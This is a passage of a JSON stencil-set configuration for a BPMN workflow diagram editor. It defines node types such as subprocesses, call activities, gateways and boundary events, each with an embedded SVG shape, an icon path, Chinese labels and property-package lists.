width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t<g id=\\\"subprocess\\\">\\n\\t\\t<rect height=\\\"10\\\" width=\\\"10\\\" x=\\\"45\\\" y=\\\"65\\\" stroke=\\\"#bbbbbb\\\" fill=\\\"none\\\" />\\n\\t\\t<path d=\\\"M50 65 L50 75\\\" stroke=\\\"black\\\" />\\n\\t\\t<path d=\\\"M45 70 L55 70\\\" stroke=\\\"black\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/subprocess.png\",\n    \"groups\" : [ \"子流程\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"datapropertiespackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"istransactionpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"all\" ]\n  },{\n    \"type\" : \"node\",\n    \"id\" : \"EventSubProcess\",\n    \"title\" : \"事件子流程\",\n    \"description\" : \"\\u5b50\\u6d41\\u7a0b\\u4e8b\\u4ef6\\u8303\\u56f4\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n   width=\\\"200\\\"\\n   height=\\\"160\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"0\\\" oryx:cy=\\\"80\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"100\\\" oryx:cy=\\\"160\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"200\\\" oryx:cy=\\\"80\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"100\\\" oryx:cy=\\\"0\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"100\\\" oryx:cy=\\\"80\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"120 100\\\" oryx:maximumSize=\\\"\\\" >\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"190\\\" height=\\\"160\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:anchors=\\\"bottom top right left\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"200\\\" height=\\\"160\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" stroke-dasharray=\\\"2,2,2\\\" fill=\\\"#ffffff\\\" />\\n    \\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"8\\\" \\n\\t\\t\\ty=\\\"10\\\" \\n\\t\\t\\toryx:align=\\\"top left\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\toryx:anchors=\\\"left top\\\" \\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n    \\t\\n\\t<g id=\\\"none\\\"></g>\\n\\t\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/event.subprocess.png\",\n    \"groups\" : [ \"子流程\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"all\", \"EventSubProcess\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"CallActivity\",\n    \"title\" : \"活动子流程\",\n    \"description\" : \"\\u547c\\u53eb\\u6d3b\\u52a8\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n    <rect oryx:resize=\\\"vertical horizontal\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"4\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n    \\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/task.png\",\n    \"groups\" : [ \"子流程\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"callactivitycalledelementpackage\", \"callactivityinparameterspackage\", \"callactivityoutparameterspackage\", \"callactivityinheritvariablespackage\", \"callactivitysamedeploymentpackage\", \"callactivityprocessinstancenamepackage\", \"callactivityinheritbusinesskeypackage\", \"callactivitybusinesskeypackage\", \"callactivityuselocalscopeforoutparameterspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ExclusiveGateway\",\n    \"title\" : \"\\u9ad8\\u7ea7\\u5206\\u652f\",\n    \"description\" : \"\\u9ad8\\u7ea7\\u5206\\u652f\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   version=\\\"1.0\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\">\\n  <defs\\n     id=\\\"defs4\\\" />\\n  <oryx:magnets>\\n    <oryx:magnet\\n       oryx:default=\\\"yes\\\"\\n       oryx:cy=\\\"16\\\"\\n       oryx:cx=\\\"16\\\" />\\n  </oryx:magnets>\\t\\t\\t\\t\\t\\n  <g>\\n  \\n    <path\\n       d=\\\"M -4.5,16 L 16,-4.5 L 35.5,16 L 16,35.5z\\\"\\n       id=\\\"bg_frame\\\"\\n       fill=\\\"#ffffff\\\"\\n       stroke=\\\"#585858\\\"\\n       style=\\\"stroke-width:1\\\" />\\n    <g\\n       id=\\\"cross\\\">\\n      <path\\n      \\tid=\\\"crosspath\\\"\\n      \\tstroke=\\\"#585858\\\"\\n      \\tfill=\\\"#585858\\\"\\n        d=\\\"M 8.75,7.55 L 12.75,7.55 L 23.15,24.45 L 19.25,24.45 z\\\"\\n        style=\\\"stroke-width:1\\\" />\\n      <path\\n      \\tid=\\\"crosspath2\\\"\\n      \\tstroke=\\\"#585858\\\"\\n      \\tfill=\\\"#585858\\\"\\n        d=\\\"M 8.75,24.45 L 19.25,7.55 L 23.15,7.55 L 12.75,24.45 z\\\"\\n        style=\\\"stroke-width:1\\\" />\\n    </g>\\n\\t\\n\\t<text id=\\\"text_name\\\" x=\\\"26\\\" y=\\\"26\\\" oryx:align=\\\"left top\\\"/>\\n\\t\\n  </g>\\n</svg>\\n\",\n    \"icon\" : \"gateway/exclusive.databased.png\",\n    \"groups\" : [ \"\\u7f51\\u5173\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"sequencefloworderpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"GatewaysMorph\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ParallelGateway\",\n    \"title\" : \"\\u5e76\\u884c\\u5206\\u652f\",\n    \"description\" : \"\\u5e76\\u884c\\u5206\\u652f\\u7528\\u6765\\u5bf9\\u6d41\\u7a0b\\u4e2d\\u7684\\u5e76\\u53d1\\u8fdb\\u884c\\u5efa\\u6a21\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   version=\\\"1.0\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\">\\n   \\n  <oryx:magnets>\\n    <oryx:magnet\\n       oryx:default=\\\"yes\\\"\\n       oryx:cy=\\\"16\\\"\\n       oryx:cx=\\\"16\\\" />\\n  </oryx:magnets>\\n  <g>\\n    <path\\n       d=\\\"M -4.5,16 L 16,-4.5 L 35.5,16 L 16,35.5z\\\"\\n       id=\\\"bg_frame\\\"\\n       fill=\\\"#ffffff\\\"\\n       stroke=\\\"#585858\\\"\\n       style=\\\"stroke-width:1\\\" />\\n    <path\\n       d=\\\"M 6.75,16 L 25.75,16 M 16,6.75 L 16,25.75\\\"\\n       id=\\\"path9\\\"\\n       stroke=\\\"#585858\\\"\\n       style=\\\"fill:none;stroke-width:3\\\" />\\n    \\n\\t<text id=\\\"text_name\\\" x=\\\"26\\\" y=\\\"26\\\" oryx:align=\\\"left top\\\"/>\\n\\t\\n  </g>\\n</svg>\\n\",\n    \"icon\" : \"gateway/parallel.png\",\n    \"groups\" : [ \"\\u7f51\\u5173\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"sequencefloworderpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"GatewaysMorph\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"InclusiveGateway\",\n    \"title\" : \"\\u5305\\u5bb9\\u5206\\u652f\",\n    \"description\" : \"\\u5305\\u5bb9\\u5206\\u652f\\u53ef\\u4ee5\\u88ab\\u89c6\\u4e3a\\u662f\\u6392\\u4ed6\\u5206\\u652f\\u548c\\u5e76\\u884c\\u5206\\u652f\\u7684\\u7ed3\\u5408\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   version=\\\"1.0\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\">\\n  <oryx:magnets>\\n    <oryx:magnet\\n       oryx:default=\\\"yes\\\"\\n       oryx:cy=\\\"16\\\"\\n       oryx:cx=\\\"16\\\" />\\n  </oryx:magnets>\\n  <g>\\n\\n    <path\\n       d=\\\"M -4.5,16 L 16,-4.5 L 35.5,16 L 16,35.5z\\\"\\n       id=\\\"bg_frame\\\"\\n       fill=\\\"#ffffff\\\"\\n       stroke=\\\"#585858\\\"\\n       style=\\\"stroke-width:1\\\" />\\n    <circle\\n    \\tid=\\\"circle\\\"\\n    \\tstroke=\\\"#585858\\\"\\n\\t\\tcx=\\\"16\\\"\\n\\t\\tcy=\\\"16\\\"\\n\\t\\tr=\\\"9.75\\\"\\n\\t\\tstyle=\\\"fill:none;stroke-width:2.5\\\" />\\n    \\n\\t<text id=\\\"text_name\\\" x=\\\"26\\\" y=\\\"26\\\" oryx:align=\\\"left top\\\"/>\\n\\t\\n  </g>\\n</svg>\\n\",\n    \"icon\" : \"gateway/inclusive.png\",\n    \"groups\" : [ \"\\u7f51\\u5173\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"sequencefloworderpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"GatewaysMorph\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"EventGateway\",\n    \"title\" : \"\\u4e8b\\u4ef6\\u5206\\u652f\",\n    \"description\" : \"\\u4e8b\\u4ef6\\u5206\\u652f\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   version=\\\"1.0\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\">\\n\\n  <oryx:magnets>\\n    <oryx:magnet\\n       oryx:default=\\\"yes\\\"\\n       oryx:cy=\\\"16\\\"\\n       oryx:cx=\\\"16\\\" />\\n  </oryx:magnets>\\n  <g\\n     id=\\\"g1027\\\">\\n    <path\\n       d=\\\"M -4.5,16 L 16,-4.5 L 35.5,16 L 16,35.5z\\\"\\n       id=\\\"bg_frame\\\"\\n       fill=\\\"#ffffff\\\"\\n       stroke=\\\"#585858\\\"\\n       style=\\\"stroke-width:1\\\" />\\n    <circle\\n       id=\\\"circle\\\"\\n       cx=\\\"16\\\"\\n       cy=\\\"16\\\"\\n       r=\\\"10.4\\\"\\n       stroke=\\\"#585858\\\"\\n       style=\\\"fill:none;stroke-width:0.5\\\" />\\n    <circle\\n       id=\\\"circle2\\\"\\n       cx=\\\"16\\\"\\n       cy=\\\"16\\\"\\n       r=\\\"11.7\\\"\\n       stroke=\\\"#585858\\\"\\n       style=\\\"fill:none;stroke-width:0.5\\\" />\\n    <path\\n       d=\\\"M 20.327514,22.344972 L 11.259248,22.344216 L 8.4577203,13.719549 L 15.794545,8.389969 L 23.130481,13.720774 L 20.327514,22.344972 z\\\"\\n       id=\\\"middlePolygon\\\"\\n       stroke=\\\"#585858\\\"\\n       style=\\\"fill:none;fill-opacity:1;stroke-width:1.39999998;stroke-linejoin:bevel;stroke-opacity:1\\\" />\\n    <g\\n       id=\\\"instantiate\\\">\\n      <path\\n         d=\\\"M -4.5,16 L 16,-4.5 L 35.5,16 L 16,35.5z\\\"\\n         id=\\\"bg_frame2\\\"\\n         fill=\\\"#ffffff\\\"\\n         stroke=\\\"#585858\\\"\\n         style=\\\"stroke-width:1\\\" />\\n      <circle\\n         id=\\\"circle3\\\"\\n         cx=\\\"16\\\"\\n         cy=\\\"16\\\"\\n         r=\\\"11\\\"\\n         stroke=\\\"#585858\\\"\\n         style=\\\"fill:none;stroke-width:1\\\" />\\n      <path\\n         d=\\\"M 20.327514,22.344972 L 11.259248,22.344216 L 8.4577203,13.719549 L 15.794545,8.389969 L 23.130481,13.720774 L 20.327514,22.344972 z\\\"\\n         id=\\\"middlePolygon2\\\"\\n         stroke=\\\"#585858\\\"\\n         style=\\\"fill:none;fill-opacity:1;stroke-width:1.39999998;stroke-linejoin:bevel;stroke-opacity:1\\\" />\\n      <g\\n         id=\\\"parallel\\\">\\n        <path\\n           d=\\\"M -4.5,16 L 16,-4.5 L 35.5,16 L 16,35.5z\\\"\\n           id=\\\"bg_frame3\\\"\\n           style=\\\"stroke-width:1\\\"\\n           stroke=\\\"#585858\\\"\\n           fill=\\\"#ffffff\\\" />\\n\\n        <path\\n           style=\\\"fill:none;stroke-width:1.5\\\"\\n           stroke=\\\"#585858\\\"\\n           d=\\\"m 16.128163,8.1671486 7.721331,5.6098764 -2.949286,9.076969 -9.544091,0 -2.9492862,-9.07697 z\\\"/>\\n        <circle     \\n           cx=\\\"16\\\"\\n           cy=\\\"16\\\"\\n           r=\\\"11.5\\\"\\n           stroke=\\\"#585858\\\"\\n           style=\\\"fill:none;stroke:#000000;stroke-width:0.4;\\\"\\n           />\\n        <circle \\n           cx=\\\"16\\\"\\n           cy=\\\"16\\\"\\n           r=\\\"10.5\\\"\\n           stroke=\\\"#585858\\\"\\n           style=\\\"fill:none;stroke-width:0.4;\\\" />\\n      </g>\\n    </g>\\n    <text\\n       id=\\\"text_name\\\"\\n       x=\\\"26\\\"\\n       y=\\\"26\\\"\\n       oryx:align=\\\"left top\\\" />\\n  </g>\\n\\n</svg>\\n\",\n    \"icon\" : \"gateway/eventbased.png\",\n    \"groups\" : [ \"\\u7f51\\u5173\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"sequencefloworderpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"GatewaysMorph\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"BoundaryErrorEvent\",\n    \"title\" : \"\\u8fb9\\u754c\\u9519\\u8bef\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u6355\\u83b7BPMN\\u9519\\u8bef\\u8fb9\\u754c\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    \\n    <path\\n         stroke=\\\"#585858\\\"\\n         style=\\\"fill:none;stroke-width:1.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:10\\\"\\n         d=\\\"M 22.820839,11.171502 L 19.36734,24.58992 L 13.54138,14.281819 L 9.3386512,20.071607 L 13.048949,6.8323057 L 18.996148,16.132659 L 22.820839,11.171502 z\\\"\\n         id=\\\"errorPolygon\\\" />\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"catching/error.png\",\n    \"groups\" : [ \"\\u8fb9\\u754c\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"errorrefpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"BoundaryEventsMorph\", \"IntermediateEventOnActivityBoundary\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"BoundaryTimerEvent\",\n    \"title\" : \"\\u8fb9\\u754c\\u5b9a\\u65f6\\u5668\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u5b9a\\u65f6\\u5668\\u89e6\\u53d1\\u7684\\u8fb9\\u754c\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n    <circle \\n    \\tid=\\\"bg_frame\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"15\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"#ffffff\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 5.5, 3\\\" />\\n    \\t\\n    <circle \\n    \\tid=\\\"frame2_non_interrupting\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"12\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"none\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 4.5, 3\\\" />\\n    \\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    <circle id=\\\"frame2\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"12\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    \\n    <path id=\\\"path1\\\" transform=\\\"translate(6,6)\\\"\\n    \\td=\\\"M 10 0 C 4.4771525 0 0 4.4771525 0 10 C 0 15.522847 4.4771525 20 10 20 C 15.522847 20 20 15.522847 20 10 C 20 4.4771525 15.522847 1.1842379e-15 10 0 z M 9.09375 1.03125 C 9.2292164 1.0174926 9.362825 1.0389311 9.5 1.03125 L 9.5 3.5 L 10.5 3.5 L 10.5 1.03125 C 15.063526 1.2867831 18.713217 4.9364738 18.96875 9.5 L 16.5 9.5 L 16.5 10.5 L 18.96875 10.5 C 18.713217 15.063526 15.063526 18.713217 10.5 18.96875 L 10.5 16.5 L 9.5 16.5 L 9.5 18.96875 C 4.9364738 18.713217 1.2867831 15.063526 1.03125 10.5 L 3.5 10.5 L 3.5 9.5 L 1.03125 9.5 C 1.279102 5.0736488 4.7225326 1.4751713 9.09375 1.03125 z M 9.5 5 L 9.5 8.0625 C 8.6373007 8.2844627 8 9.0680195 8 10 C 8 11.104569 8.8954305 12 10 12 C 10.931981 12 11.715537 11.362699 11.9375 10.5 L 14 10.5 L 14 9.5 L 11.9375 9.5 C 11.756642 8.7970599 11.20294 8.2433585 10.5 8.0625 L 10.5 5 L 9.5 5 z \\\"  \\n    \\tfill=\\\"#585858\\\" stroke=\\\"none\\\" />\\n    \\t\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"catching/timer.png\",\n    \"groups\" : [ \"\\u8fb9\\u754c\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"timercycledefinitionpackage\", \"timerdatedefinitionpackage\", \"timerdurationdefinitionpackage\", \"timerenddatedefinitionpackage\", \"cancelactivitypackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"BoundaryEventsMorph\", \"IntermediateEventOnActivityBoundary\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"BoundarySignalEvent\",\n    \"title\" : \"\\u8fb9\\u754c\\u4fe1\\u53f7\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u4fe1\\u53f7\\u89e6\\u53d1\\u7684\\u8fb9\\u754c\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" 